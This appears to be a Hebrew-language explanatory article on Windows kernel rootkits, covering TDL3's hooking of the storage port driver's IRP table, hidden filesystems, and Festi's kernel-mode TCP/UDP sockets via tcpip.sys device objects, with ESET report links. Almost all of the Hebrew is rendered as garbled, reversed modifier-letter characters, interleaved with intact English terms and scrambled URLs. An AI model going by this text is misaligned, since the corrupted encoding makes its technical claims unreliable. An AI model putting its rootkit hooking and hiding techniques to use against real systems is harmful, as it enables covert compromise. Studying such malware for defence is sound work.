˧˲˪ ˨˶˰ˢ NextDevice ˰˧˟˴ˬ˷ ˪πDEVICE_OBJECT ˞˟ˢ ˶ˣ˸˟ Φ˪˩ ˫˰˲ ˷˧˷ driver ˷ˡ˥ ˨˧˶˴˷ 

˱˧˯ˣˢ˪ ˪πstack ˰˴ˣ˟˧ ˷ˣˬ˧˷ ˢ˪ˣ˰˲˟ IoAttachDeviceToDeviceStack ˱˧˯ˣ˸˷ ˸˞ sπdevice ˱ˣ˯˪ 

πsstack Φπsdevice ˭ˣ˶˥˞ˢ ˟πstack ˢ˧ˢ˧ sπdevice ˫˧˞˸ˬ˷ ˪πstorage port driver ˣ˸ˣ˞˷ ˢ˴˶ˮ 

˱ˣ˵˸˪ Φ 

 
˶˟˩ ˢ˲ ˭˸˧ˮ ˸ˣ˞˶˪ ˸˞ ˢˮˣˣ˩ˢ ˢ˲˵˸ˢ˟ ˪˷ ˸ˣ˟˩˷ˢ ˧˩ˢ ˸ˣ˩ˣˬˮ ˸˩˶˰ˬ˟ ˢ˪˰˲ˢˢ π ˧ˡ˩ ˪˱ˣ˵˸ ˸˞ 

˸˩˶˰ˬ ˞ˢ˥˭ˣ˯ ˣˮ˥ˮ˞ ˫˧˩˪ˣˢ ˪πdrivers ˧˩ˢ ˫˧˩ˣˬˮ ˸˩˶˰ˬ˟ ˭˸˧ˮ˷ ˰˧˲˷ˢ˪ ˫ˢ˧˪˰. 

 

оό ˧˶˥˞ ˣˮ˰ˠˢ˷ ˱ˣ˯˪ sπstack ˧˲˪ˣ ˶ˣ˞˧˸ˢ ˪˷ DEVICE_OBJECT ˭˸˧ˮ˷ ˸ˣ˞˶˪ ˢ˪˰ˬ˪ Σ˪˵ ˡˣ˞ˬ ˰˧ˠˢ˪ 

π˪DRIVER_OBJECT ˪˷ sπstorage port driver ˪˞ˣ sπIRP major function table ˞˴ˬˮ˷ ˣ˩ˣ˸˟Φ 
 

˨˧˪ˢ˸ sπhooking ˨˧˷ˬˬ ˸˶˧˴˧˟ DRIVER_OBJECT ˧ˮˣˡˤ ˷ˡ˥ˣ ˧˶ˬˠ˪ ˭ˣ˶˩ˤ˟ ˸˩˶˰ˬ Σˣ˧˪˞˷ ˣˮ˥ˮ˞ ˯˧ˮ˩ˮ 

˸˞ ˫˧˰˧˟˴ˬˢ ˸ˣ˪ˣ˰˲˪ ˸ˣˬ˧˞˸ˬˢ ˷ˬˬˮ˷ ˣˮ˧˪˴˞ ˟πdriver Φ˸˞ ˰˧˟˴ˬˢ ˟πdevice object ˪˷ sπstorage 

port driver ˢˮ˷ˮ ˰˧˟˴ˬ˪ ˪˷ sπdriver object ˧ˮˣˡˤˢ ˨˩ˣ ˫˴˰˟ ˣˮ˰˴˧˟ hooking ˪˩˪ ˸ˣ˪˧˰˲ ˞ˢ˥˭ˣ˯ 
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˸˷˥˶˸ˬ˷ ˸˩˶˰ˬ˟ Φ˸˞ ˪˩ ˸ˣ˪ˣ˰˲ˢ ˢ˷πDriver ˞˪ ˢ˴ˣ˶ξ˨˧˶˴ ˷ˬˬ˪ ˧˟˸ˣ˩ ˢ˵ˤˣˮˢ ˣ˞˪˧ˬ ˸ˣ˟ˣ˸˩˟ ˪˷ 

˸ˣ˪ˣ˰˲ˢ ˸ˣ˧˶ˣ˵ˬˢ ˟πIRP major function table Σ˸˞ˣ ˣ˪˞ ˣ˴˶˷ ˦ˣ˪˷˪ ˫ˢ˟ ˣˮ˧˷ ˧˲˪ ˨˶ˣ˴ˢΦ 

ˢ˶˵ˬ˟ ˢˤ ˧˟˸ˣ˩ ˢ˵ˤˣˮˢ ˣ˷ˬ˸˷ˢ ˢ˵˧ˮ˩˦˟ xʕ ˧ˡ˩ ˷ˬˬ˪ Hidden Filesystem ˞˴ˬˮ˷ ˱ˣ˯˟ sπDisk ˪˷ 

˞ˢ˥˭ˣ˯ ˟˥˶˸ˬˣ ˢ˶ˣ˥˞ Σ˭ˬˤ˟ ˸˩˶˰ˬ˷ ˢ˪˰˲ˢˢ ˸˞˴ˬˮ ˸˪˧˥˸ˬ ˵˯˧ˡˢ ˸˟˥˶˸ˬˣ ˢˬ˧ˡ˵ Φˢ˵ˤˣˮˢ 

˸˷ˬˬˬ filesystem ˪˷ˬ ˢˬ˴˰ ˧ˡ˩ ˞˪˥˭˯ ˸˞ ˧˴˟˵ ˢ˵ˤˣˮˢ ˫˧˞˴ˬˮ˷ ˳ˣ˥ˬ ˢ˦˧˪˷˪ ˪˷ ˸˩˶˰ˬ 

ˢ˪˰˲ˢˢ ˢ˪˧ˠ˶ˢ ˢ˧ˣ˪˸˷ ˟πstorage port driver ˪˲˦˪ ˸˶ˣ˷˵˸˟ ˣˬ˩ ˨˧˶˴˷ Φˢ˶ˣ˴˟ xʕ ˧˟˸ˣ˩ ˢ˵ˤˣˮˢ 

ˣ˶˴˧ ˸˩˶˰ˬ ˫˧˴˟˵ ˸ˮ˲˴ˣˬ ˸˞˟˥ˣˬˣ ˶˞˷ˬ ˧˷ˬ˸˷ˬ ˸˩˶˰ˬˢ ˵˶˷ ˧˵˪˥ ˢ˵ˤˣˮˢ ˣ˪˩ˣ˧ ˪˟˵˪ ˢ˷˧ˠ 

ˢ˧˪˞Φ 

˭˸˧ˮ ˳ˬ˞˪ ˸˞ ˢ˷˧ˠˢ ˣˤˢ ˫ˠ ˞˷ˣˮ˟ ˣˮ˪˷ Σ˦˲˯ˮˣ˵ˢ ˪˷ hook ˢ˟˩˷˟ ˧˩ˢ ˩ˣˬˮ s˪˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ 

˞˷ˣˮ˟ ˫˧ˣ˯ˬ ˢ˟ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ˸˵˯˰˸ˬ ˪˩ˣ˧ ˶ˣˤ˰˪ ˣˮ˪ ˞˧˟˥ˢ˪ ˸˞ ˣˮˬ˴˰ ˢ˟˶ˢ ˶˸ˣ˧ ˟ˣ˦ ˸ˣ˷˵ˢ˪ˣ 

ˢ˟˶ˢ˟ ˪˰ ˧˶˵ˣ˥ ˢ˥˦˟˞ ˸ˣˮˣ˶˸˲ˣ ˢ˥˦˟˞ ˫˧˯ˮˬ˷ ˸ˣˢˤ˪ ˱˵ˣ˸ ˣˮˣˬ˩Φ 

˫ˠ ˢ˵ˤˣˮ˪ ˣˤˢ ˷˧ ˢˬ˩ ˸ˣ˧˰˟ Σˣˬ˩ ˢˡ˟ˣ˰ˢ ˧ˡ˩˷ ˵˲˯˪ ˢ˷˧ˠ ˶˞˷˪ ˸ˣˮ˩ˣ˸ sπusermode ˶ˣ˟˰ ˸˩˶˰ˬ 

ˢ˫˧˴˟˵ ˸˞˟˥ˣˬˢ Σπsdriver ˷ˬˬˬ ˸ˣ˪ˣ˰˲ custom-made ˶ˣ˟˰ CreateFile/ReadFile/WriteFile ˵˲˯ˬˣ 

˫˸ˣ˞ ˸ˣˮ˩ˣ˸˪ sπusermode ˨˶ˡ device object ˶˷ˣ˵ˬ˷ ˣ˧˪˞ symbolic link ύ˪πsymbolic link ˷˧ ˫˷ 

˶˴ˣˮ˷ ˢ˶ˣ˴˟ ˸˧˞˶˵˞ ˪˰ ˧ˡ˧ ˸˶˧˴˧ hexstring Σ˨˞ ˭˧˧ˡ˰ ˶˴ˣˮ symbolic link ˧˟ˣˬ˷ ˪ˣˮ˸ˣ˞ ˪πdriver object 

˪ˣπdevice object ˪˷ sπdriver ˧˸˵ˤˣˮˢ Φό 

˸˞ˤ ˢ˦˧˷ ˢ˴ˬˣ˞˷ ˪˰ ˧ˡ˧ ˸ˣ˵ˤˣˮ ˸ˣ˟˶ ˧˶˥˞ TDL3 ˪˪ˠ˟ ˸ˣ˟˩˶ˣˬˢ ˧ˣˢ˧ˤ˟ ˢ˪˷ ˢ˦˧˪˷ˢˣ ˢ˵ˤ˥ˢ ˢ˪˷ 

˪˰ ˸˩˶˰ˬ ˫˧˴˟˵ˢ Σ˱˯ˣˮ˟ˣ ˢˤ˪ ˢ˧ˢ˧ ˶˷˲˞ ˷ˬ˸˷ˢ˪ ˭ˣ˧˰˶˟ ˢˬˣˡ ˧ˡ˩ ˦ˣ˪˷˪ ˪˰ ˫˧˦˲˯ˮˣ˵ ˫˧˶˥˞ 

˫˧˷ˬˣˬˬˢ ˸˩˶˰ˬ˟ ˟˵ˢ˫˧˴: 

 
 Υ ϐRootkits.html-https://www.tophertimzen.com/resources/cs407/slides/week06_01ώ 

https://www.tophertimzen.com/resources/cs407/slides/week06_01-Rootkits.html
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Festi 

˶ˬ˞ˬ˟ ˢˤˢ ˧˸˶˟˧ˡ ˪˰ ˷ˣˬ˧˷ ˟πUsermode/Kernelmode Sockets ˶ˣ˟˰ ˸˶ˣ˷˵˸ ˭˧˟ ˧˵˪˥ ˢ˵ˤˣˮˢ 

ˢ˶ˣ˴˟ ˸˧ˬˣ˵ˬ ˪˰ ˟˷˥ˬˢ ˱˵˸ˣˬˢ Σ˪˟˞ ˫˞ˢ ˶˷˲˞ ˰˴˟˪ ˸˶ˣ˷˵˸ ˣˤ˩ ˢ˶ˣ˴˟ ˸˵˥ˣ˶ˬ ˢ˶ˣ˴˟ 

ˢ˥ˣ˦˟ Κˢˤ ˢˬ ˧˟˸ˣ˩˷ ˢ˵ˤˣˮˢ festi ˣ˷˰ ˟πAll-Kernel Rootkit ˫ˢ˪˷Φ 

˪˰ˣ˲˟ ˪˩ ˧˵˪˥ ˢ˵ˤˣˮˢ ˫˧˯˯ˣ˟ˬ ˪˰ ˡˣ˵ ˧˪ˮ˶˵ ˞˟ˣ˧ˬ˷ ˪˰ ˧ˡ˧ ˢ˵ˤˣˮˢ ˸˧˶ˣ˵ˬˢ ˸ˮ˵˸ˣˬ˷ ˪˰ ˸˩˶˰ˬˢ 

˸˶˟˥˸ˬ˷ ˵ˣ˥˶ˬ ˸˶˷˪ CϧC ˣ˩˶ˡ˷ ˭˸˧ˮ ˱˵ˣ˸˪ ˫˧˶ˤˢ˪ ˭˧˵˸ˢ˪ˣ plug-ins ˪˰ ˸˩˶˰ˬˢ ˸˲˵˸ˣˬˢ Φ

˫˸ˣ˞ Plug-ins ˫ˢ ˧˰˦˵ ˡˣ˵ ˧˪ˮ˶˵ ˫˧ˡ˰ˣ˧ˬˢ ˢ˶˦ˬ˪ ˸ˬ˧ˣ˯ˬ Σ˭ˣˠ˩ bitcoin mining, DDoS x˞ ˢ˶˦ˬ 

˸˶˥˞ ˱˵ˣ˸˷ ˢ˴˶˧ ˷ˬˬ˪ ˸˰˟ ˸˲˵˸ˢ ˸˩˶˰ˬ ˸˶˥˞Φ ˵˪˥˟ ˢˤ ˞˪ ˥˸ˮ˞ ˸˞ ˪˩ ˢ˵ˤˣˮˢ ˧˩ ˭˰ˬ˪ ˢˤ 

˭˸˧ˮ ˴˵ˢ˪˸ˣ ˶ˬ˞ˬ ˫˪˷ Σ˨˞ ˷˧ ˢˬ˩ ˸ˣˮˣ˶˵˰ ˯˧˯˟ ˫˧ˮ˧˧ˮ˰ˬ ˰ˠˣˮ˟ ˸˵ˤˣˮ˪ sπfestiΥ 

мό ˸˶ˣ˦˵˦˧˩˶˞ ˢ˵ˤˣˮ ˸˯˯ˣ˟ˬˢ ˧˶ˬˠ˪ ˪˰ ˫˧˵˪˥ ˫˧˧˪ˮ˶˵ Σˢˤ ˢ˞˶ˬ ˪˰ ˸ˣ˪ˣ˩˧ ˥ˣ˸˧˲ˢ ˸ˣ˪ˣ˰ˬˢ ˪˷ 

˧˟˸ˣ˩ ˢ˵ˤˣˮˢ ˧˩ ˢˤ ˶˟ˡ ˞˪˷ ˫˧˞ˣ˶ ˢ˟˶ˢ ˸ˣ˵ˤˣˮ˟ ˣ˪˞˩ ˪˪ˠ˟ ˸ˣ˧˩ˣ˟˧˯ˢ ˢ˟˶ˢ 

нό ˸˶ˣ˦˵˦˧˩˶˞ ˢ˵ˤˣˮ ˸˯˯ˣ˟ˬˢ ˪˰ ˸ˣˮ˩˸ ˢ˥ˮˣˬ ˫˧ˬ˴˰ Φ˸ˣ˶ˬ˪ ˢ˟˧˸˩ˢ ˪˷ ˡˣ˵ ˫˞˸ˣˬˢ ˳ˣ˶˪ ˟π

kernelmode ˧˟˸ˣ˩ ˢ˵ˤˣˮˢ ˣ˥˵˪ ˢ˷˧ˠ ˢˮˣ˷ ˪˷ ˸ˣˮ˩˸ ˢ˥ˮˣˬ ˫˧ˬ˴˰ ˶ˣ˟˰ ˥ˣ˸˧˲ ˪˩ ˧˵˪˥ ˢ˵ˤˣˮˢΥ 

¶ Memory Manager Υ˧˞˶˥˞ ˸ˣ˴˵ˢ˪ξ˶˶˥˷˪ ˭ˣ˶˩ˤ ˪˩˪ ˟˞˷ˬ ˫˧˷ˬ˸˷ˬ˷ x˟ ˢ˵ˤˣˮ˟ 

¶ Network Sockets Υ˫˧˞˶˥˞ ˸˶ˣ˷˵˸˪ ˸˧˦ˮ˶˦ˮ˧˞ˢ ˢˬ˴˰ ˫˰ s˱˵ˣ˸ ˵˥ˣ˶ˬˢ ˢ˶ˣ˴˟ ˸ˮ˧˧ˮ˰ˬ 

ˡˣ˞ˬ ˢ˸ˣ˞˷ ˶ˣ˵˯˞ ˵ˬˣ˰˪ ˨˷ˬˢ˟ ˶ˬ˞ˬˢ. 

¶ C&C Protocol Parser Υ˧˞˶˥˞ ˭˧˟ˢ˪ ˸˞ ˸ˣ˰ˡˣˢˢ ˸ˣ˥˪˷ˮˢ ˢ˵ˤˣˮ˪ ˸˶˷ˬ sπC&C ˰˴˟˪ˣ ˸˞ 

˸ˣ˪ˣ˰˲ˢ ˧ˣ˞˶˩. 

¶ Plug-in Manager Υˣˬ˷˩ Σ˧˞˶˥˞ ˪ˢˮ˪ ˸˞ ˪˩ sπplugins ˣ˞˟ˣˢ˷ ˨ˣ˸˪ ˸˩˶˰ˬˢ ˸˲˵˸ˣˬˢ 

˞ˡˣˣ˪ˣ ˫ˢ˷ ˫˧˪˰ˣ˲ ˧ˣ˞˶˩. 

 

˭˸˧ˮ ˸ˣ˞˶˪ ˸˞ ˢ˶ˣ˦˵˦˧˩˶˞ xʕ ˸˞ˣ ˫˧˶˷˵ˢ ˭˧˟ ˪˩ ˵˪˥ ˧ˤ˩˶ˬ ˢˮˣˬ˸˟ ˢ˞˟ˢΥ 

 

 Υ ϐpdfanalysis.-botnet-festi-spam-of-assets.esetstatic.com/wls/200x/king-https://webώ 

https://web-assets.esetstatic.com/wls/200x/king-of-spam-festi-botnet-analysis.pdf
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˨˷ˬˢ˟ ˞˷ˣˮ˪ ˧ˤ˩˶ˬˢ ˪˷ ˶ˬ˞ˬˢ ˧ˮ˞ ˯ˮ˩˞ ˞˵ˣˣˡ ˨˶ˡ˪ ˢ˟ ˢ˸˷˰ˮ ˸˶ˣ˷˵˸ˢ ˸˧˦ˮ˶˦ˮ˧˞ˢ ˭˧˟ sπ

driver ˪˷ ˢ˵ˤˣˮˢ ˭˵˸ˣˢ˷ ˪˰ ˸˩˶˰ˬˢ ˸˲˵˸ˣˬˢ ˭˧˟˪ ˸˶˷ sπC&C Φ˧˲˩ ˧˸˞˶ˢ˷ ˶˟˩ ˷ˣˬ˧ˬˢ ˪˷ 

˸ˣˮ˩˸ ˢ˥ˮˣˬ sockets ˟πkernelmode ˞˪ ˢˮˣ˷ ˟ˬπusermode ˸ˬ˞˟ˣ ˢ˶˵ˬ˟ ˢˤ ˞˪ ˢ˧ˢ˧ ˨˶ˣ˴ ˣˮ˷˪ ˸

ˣ˪˧˲˞ ˸˞ sπdriver ˢ˩˥ˬ˷ ˫˧˶ˣ˟˧˥˪Φ 

˵ˣ˧ˡ˟ ˣˬ˩ sπDriver Stack ˫˧˧˵˷ ˶ˣ˟˰ Storage Devices Σ˫˧˧˵ ˫ˠ Driver Stack ˪˪ˣ˩˷ ˶˲˯ˬ Drivers 

˫˧˧˞˶˥˞ˢ ˸˥˧˪˷˪ ˰ˡ˧ˬˢ ˪˰ ˧˟ˠ ˸˷˶ˢ Σ˸˟˩˶ˢ ˰ˡ˧ˬˢ ˥˪˷ˮˢ ˦ˬ˶ˣ˲˟ ˡ˴ˢ˷ ˧ˮ˷ˢ ˭˧˟˧ ˡˠˮˬˣ ˫ˣˠ˶˸ 

˰ˡ˧ˬˢ ˥˪˷ˮ˷ ˰ˡ˧ˬ˪ ˧˦˵˶˲ ˶˷˲˞˷ ˭˧˟ˢ˪ Φ˶ˡ˟ ˨˪˪˩ Σdriverπ˫˧ ˣ˷ˬ˸˷˧ ˵˷ˬˬ˟ ˫˧˧˵ˢ ˥˸ˣ˲˷ ˰Ϧ˧ 

˧˥˸˲ˬ Windows ˧ˡ˩ ˶˷˵˸˪ ˪˰ ˧˟ˠ ˦ˮ˶˦ˮ˧˞ˢ Σˢˬ ˪ˣ˩˧˷ ˞˧˟ˢ˪ ˢ˟˶ˢ˪ ˧ˡ˵ˣˬ ˧ˣˢ˧ˤ ˫˧˧˶˷˲˞Φ 

˧˥˸˲ˬ festi ˣ˦˧˪˥ˢ ˸ˣ˷˰˪ ˷ˣˬ˧˷ ˶˧˷˧ ˟πdrivers ˫˧˧˞˶˥˞ˢ ˸˶ˣ˷˵˸˪ ˞˪ˣ ˶ˣ˟˰˪ ˨˶ˡ ˪˩ ˸˶˷˶˷ˢ ˪˷ 

πsdriver stack ˶ˣ˟˰ ˸˶ˣ˷˵˸ ˸˧˦ˮ˶˦ˮ˧˞ ˪˪ˣ˩˷Υ 

мό Driver ˶ˣ˟˰ ˸˶ˣ˷˵˸ ˧˲˪ ˪ˣ˵ˣ˦ˣ˶˲ ˸˶ˣ˷˵˸ˢ ˫˧ˣ˯ˬˢ ύTcp\\Device\\ ˶ˣ˟˰ ˸˶ˣ˷˵˸ ˪ˣ˵ˣ˦ˣ˶˲˟ 

TCP xπUdp\\Device\\ ˶ˣ˟˰ ˸˶ˣ˷˵˸ ˪ˣ˵ˣ˦ˣ˶˲˟ UDP Φό˫˧˞˴ˬˮ ˸˧˸˥˸˟ sπstack ˫˧˧˞˶˥˞ˣ 

˸˪˸˶ˣ˷˵ ˸˧˸˧ˬ˞ˢ ˭˧˟ ˫˧˶˧˷˩ˬ 

нό Driverπ˫˧ ˫˧˲˯ˣˮ ˫˧˷ˬ˸˷ˬ˷ ˸ˣ˪ˣ˰˲˟ ˣˬ˩ IoAttachDeviceToDeviceStack ˧ˡ˩ ˶˸ˮ˪ ˸˞ 

˸˶ˣ˷˵˸ˢ ˸˧˦ˮ˶˦ˮ˧˞ˢ ˸˶˟ˣ˰˷ ˨˶ˡ ˟˷˥ˬˢ. 

 

Festi ˣ˦˧˪˥ˢ ˸˩˪˪ ˶˷˧ ˪πlowest level driver ˧˸ˮ˧˧˴˷ ˸ˣ˯ˮ˪ˣ ˶ˣ˴˧˪ x˪ handle ˶ˣ˟˰ ˸˶ˣ˷˵˸ ˫˰ ˣ˸ˣ˞ 

driver Σˢ˧˧˰˟ˢ π ZwCreateFile() ˞˧ˢ ˸˥˞ ˸ˣ˪ˣ˰˲ˢˬ ˧˩ˢ ˸ˣ˶˸ˣˮˬ ˸˩˶˰ˬ˟ Windows ˭ˣ˧˯˧ˮˣ ˸˶˧˴˧ 

handle ˫˸ˣ˞˪ driverπ˫˧ ˣˮˬ˯˧ ˣ˸ˣ˞˷ ˨˧˪ˢ˸ ˢ˴˶ ˰˴˟˪ ˸˶ˣ˷˵˸ ˸˧˦ˮ˶˦ˮ˧˞ ύˣˮ˶ˤ˥ ˢ˪˥˸ˢ˪ Φό˱˯ˣˮ˟ 

˨˩˪ ˷˧ ˸ˣ˶˷˲˞ ˶˸ˮ˪ ˪˩ IOCTL ˫˰ major function code ˪˷ IRP_MJ_CREATE ˥˪˷ˮˢ ˡ˥˞˪ ˢˬπ

lowest level drivers ύ˥˪˷ˮ ˰ˠ˶˟ ˰˴ˣ˟ˬ˷ ˭ˣ˧˯˧ˮ ˠ˧˷ˢ˪ handle ˟˞˷ˬ˪ ˸˩˶˰ˬ˟Φό 

˫ˠ ˪˰ ˢˤ ˧˟˸ˣ˩ ˢ˵ˤˣˮˢ ˣ˟˷˥ ˭˩˪ˣ ˫ˢ ˣ˷ˬ˧ˬ ˸˪ˣ˰˲ ZwCreateFile() ˫ˢ˪˷ˬ ˣ˞˶˵ˣ ˢ˪ ˫ˣ˵ˬ˟ ˢ˪ˣ˰˲ˢ 

˸˧˶ˣ˵ˬˢ Φ˪ˡ˟ˢˢ ˡ˧˥˧ˢ ΚZwCreateFile() ˧˶ˣ˵ˬˢ ˥˪˷ ˸˞ sπIRP ˪˷ ˢ˷˵˟ˢ ˨˶ˡ ˪˩ sπdriver stack 

˶ˣ˟˰ ˸˶ˣ˷˵˸ UDPκTCP ˢˬ˞˸ˢ˟ Σ˭ˬˤ˟ ˷ˣˬ˧ˬˢ˷ ˡ˥ˣ˧ˬˢ ˪˷ ˢ˵ˤˣˮˢ ˥˪˷ ˸˞ sπIRP ˸ˣ˶˧˷˧ ˪˞ 

Tcp\\Device\\ x˞ Udp\\Device\\Φ 

  

  

file://Device/Tcp
file://Device/Udp
file://Device/Tcp
file://Device/Tcp
file://Device/Udp
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˧˲˩ ˭˸˧ˮ˷ ˣ˞˶˪ˢ˞˟ˢ ˢˮˣˬ˸ˢ ˸ Σˢ˶ˣ˴˟ xʕ ˢ˵ˤˣˮˢ ˸ˠ˪ˡˬ ˪˰ ˪˩ sπattached devices ˫˧˪ˣ˩˧˷ ˶˸ˮ˪ ˸˞ 

ˢ˶˧˴˧ˢ ˪˷ sπhandle .˱˯ˣˮ˟ ˨˩˪ ˞˧ˢ ˸ˠ˪ˡˬ ˪˰ ˪˩ sπdrivers ˫˧˶˸ˮˬ˷ ˸˞ ˸ˣ˞˧˶˵ˢ ˪πZwCreateFile() 

˨˩˟ ˞˧ˢ˷ ˞˪ ˸˞˶ˣ˵ ˢ˸ˣ˞˪ ˢ˪ˣ˰˲Υ 

 

 Υ ϐanalysis.pdf-botnet-festi-spam-of-assets.esetstatic.com/wls/200x/king-webhttps://ώ 

 

ˤ˞ ˨˧˞ ˨˧˪ˢ˸ˢ ˢ˶˵Κ 

мό ˧˲˩ ˧˸˶˞˧˸˷ ˢ˵ˤˣˮ˟ TDL3 Σ˫ˠ ˢ˲ ˷˧ root device ˣˮˬˬ˷ ˢ˞˪ˢˣ ˟πdevice stack ˫˧˞˴ˬˮ ˪˩ sπ

devices ˫˧˶ˣ˷˵˷ ˢ˸ˣ˞˪ ˢ˷˵˟ Σˢ˶˵ˬ˟ ˢˤ ˸˶ˣ˷˵˸ ˫˰ sπdrivers ˫˧˶˟ˣˡˬˢ ˸˧˸˥˸˟ sπstack Φ

ˢ˶˵ˬ˟ ˢˤ sπroot device ˞ˣˢ Tcp\\Device\\ x˞ tcpip.sys ˫˷˟ ˳˟ˣ˵ˢ ˣ˪˷. 

нό Festi ˠ˧˷ˬ ˸˞ sπDRIVER_OBJECT ˪˷ tcpip,sys ˸˶ˤ˰˟ sπUndocumented API ˫˷˟ 

ObRefrenceObjectByName Φˢ˪ˣ˰˲ˢ ˣˤˢ ˸˶˟ˣ˰ ˪˰ ˪˩ ˫˧˦˵˧˧˟ˣ˞ˢ ˫˧ˬ˧˧˵ˢ ˸˩˶˰ˬ˟ ˠˣ˯ˬ ˫˧ˣ˯ˬ 

ύˢ˶˵ˬ˟ ˢˤ IoDriverObjectType όˢ˶˧ˤ˥ˬˣ ˸˞ sπstructure ˠ˴˧˧ˬ˷ ˸˞ ˦˵˧˧˟ˣ˞ˢ ˫˰ ˫˷ˢ ˫˧˞˸ˬˢ 

˫˷˪ ˵˲ˣ˯˷ ˢ˪ˣ˰˲˪ 

оό ˸˶ˤ˰˟ sπDRIVER_OBJECT ˪˷ tcpip.sys ˪˩ˣˮ ˪˟˵˪ ˢ˷˧ˠ ˪˩˪ ˸˶˷˶˷ sπdevices ύ˨˶ˡ sπ

DEVICE_OBJECT ˪˷ tcp.ip ˞˴ˬˮ˷ ˟πDriverObject.DeviceObject όˢˬˣˡ˟ˣ ˪πTDL3 ˶ˣ˟˰ˮ ˪˰ ˪˩ 

https://web-assets.esetstatic.com/wls/200x/king-of-spam-festi-botnet-analysis.pdf
file://Device/Tcp
file://Device/Tcp
file://Device/Tcp
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ˢˬ˧˷˶ˢ ˧ˡ˩ ˞ˣ˴ˬ˪ ˸˞ sπDEVICE_OBJECT ˪˷ Tcp\\Device\\ ˶ˣ˟˰ ˸˶ˣ˷˵˸ ˪ˣ˵ˣ˦ˣ˶˲˟ TCP π

Udp\\Device\\ ˶ˣ˟˰ ˸˶ˣ˷˵˸ ˪ˣ˵ˣ˦ˣ˶˲˟ UDPΦ 

пό ˱ˣ˯˟˪, ˸˶ˤ˰˟ sπDEVICE_OBJECTs ˫˧ˬ˧˞˸ˬˢ Σˢ˵ˤˣˮˢ ˢ˪ˣ˩˧ ˥ˣ˪˷˪ IRP ˪˷ IRP_MJ_CREATE 

˸ˣ˶˧˷˧ ˫˸ˣ˞˪ lowest level drivers ˸˶ˤ˰˟ sπDEVICE_OBJECT ˫ˢ˪˷ ˞˪˪ ˶˟˰ˬ ˨˶ˡ ˶˞˷ sπ

devices ˟πdriver stackΦ 
 

ˤ˞ ˫˞ˢ ˷˧ ˨˶ˡ ˸ˣˢˤ˪ ˸˥˧˪˷ ˸ˣ˰ˡˣˢ ˪˰ ˧˟ˠ ˦ˮ˶˦ˮ˧˞ˢ ˢ˦˧˷˟ xʕ Κ˭˩ Σˢˬ˶˟ ˸ˬ˧ˣ˯ˬΥ 

мό ˸ˣ˶ˬ˪ ˢˤ˷ ˢ˷˵ ˞˪ˬˣ ˟πϦˢˡˣ˟˰ ˢ˶ˣ˥˷ ΣϦ˶˷˲˞ ˞ˣ˴ˬ˪ ˸˞ ˸ˣ˟ˣ˸˩ˢ ˪˷ ˪˩ sπundocumented 

functions ˧˟˸ˣ˩˷ ˢ˵ˤˣˮˢ ˣ˷ˬ˸˷ˢ ˫ˢ˟ ˸˶ˤ˰˟ ˸ˣ˦˧˷ ˣˬ˩ pattern scanning Σ˰˴˟˪ ˣˢ˷ˤ˧˞ hook 

ύˢ˞˶ˮ˩ inline hook ˣˢ˷˪˩ό ˶˸˞˪ˣ ˸˞ ˪˩ ˸ˣ˞˧˶˵ˢ Σ˸ˣ˶ˬ˪ ˫ˠ˷ ˶ˣ˸˧ˮˢ ˢˤˢ ˞˪ ˰˧˟˴˧ ˪˰ ˣˢ˷ˬ 

ˡˣ˷˥ ˸˩˶˰ˬ˟. 
ώ 

нό ˨˶ˡˢ ˸˲ˡ˰ˣˬˢ ˢ˧ˢ˸˷ ˢˤ ˸ˡ˶˪ ˢ˟˩˷˪ ˢ˩ˣˬˮ ˶˸ˣ˧ ˬπfesti Σ˧˶ˢ ˭˸˧ˮ ˸ˣ˞˶˪ ˪˩˩˷ ˢ˟˩˷ˢ˷ ˶˸ˣ˧ 

ˢ˩ˣˬˮ ˞˧ˢ ˶˸ˣ˧ Ϧˢ˵ˤ˥ Ϧ˶˸ˣ˧ˣ ˢ˷˵ ˪˧˟ˠˢ˪ ˢ˸ˣ˞ ˸ˣ˟˩˷ˬ ˸ˣ˶˥˞ ˸˩˶˰ˬ˟ Φˢ˶˵ˬ˟ ˢˤ ˪˩ˣˮ ˟ˣ˸˩˪ 

network filter driver ˦ˬ˶ˣ˲˟ ˣˬ˩ NDIS ˭˸ˣˮ˷ ˣˮ˪ template ˟ˣ˸˩˪ network traffic filter drivers 

ˢˬ˶˟ ˢ˩ˣˬˮ ˡˣ˞ˬ Σˢ˩ˣˬˮˣ ˶˸ˣ˧ ˢˬπdrivers ˪˷ UDP ˪˷ˣ TCP ˡ˰˷ ˫ˢ˧˪˞ festi ˰˧ˠˬ 

 

 

˫ˣ˩˧˯ 

˶ˬ˞ˬ˟ ˢˤ ˧˸˧˯˧˩ ˸ˣ˦˧˷ ˸˶ˣ˷˵˸˪ ˭˧˟ ˫˧˵˪˥ ˫˧ˮˣ˷ ˪˷ ˢ˵ˤˣˮ ˫˧˴˶ˢ ˫˧˦˯˵˦ˮˣ˵˟ ˫˧ˮˣ˷ Σˣ˞ ˫˴˰˟ 

˶ˡ˫˧˩ ˷ˬˬ˪ inter-component communication ˭˧˟ ˧˵˪˥ usermode ˭˧˟˪ ˧˵˪˥ kernelmode Φ˶ˬ˞ˬ˟ 

˧˸˧˯˧˩ ˸˞ ˟ˣ˶ ˸ˣ˵˧ˮ˩˦ˢ ˸ˣ˰ˣˡ˧ˢ Σ˧˸˥˸˧ˮ ˸˞ ˸ˣˮˣ˶˸˧ˢ ˸˞ˣ ˸ˣˮˣ˶˯˥ˢ ˧˸˞˶ˢˣ ˸ˣ˞ˬˠˣˡ ˫˧˷ˣˬ˧˷˪ ˶ˣ˟˰ 

˫˸ˣ˞ ˸ˣ˵˧ˮ˩˦ Σ˱˯ˣˮ˟ ˸ˣ˞ˬˠˣˡ˪ ˪˷ ˸˶ˣ˷˵˸ˢ ˣˤˢ ˸ˣ˵ˤˣˮ˟ ˸ˣ˧˸ˣ˰ˬ˷ˬ ˢ˧˶ˣ˦˯˧ˢ˟ ˣˬ˶ˠ˷ ˵ˤˮ˪ ˟˶ Φ

˶ˬ˞ˬ˟ ˢˤ ˧˸˸ˮ ˫˧˪˩ ˰ˡ˧ˣ ˧˥˸˲ˬ˪ low-level ˸ˣ˩˶˰ˬ˟ Windows Σ˧˶˵ˣ˥ ˢ˥˦˟˞ξ˧˥˸˲ˬ ˸ˣˮˠˢ ˣ˪˧˲˞ˣ 

π˪Game Hackers Φ 

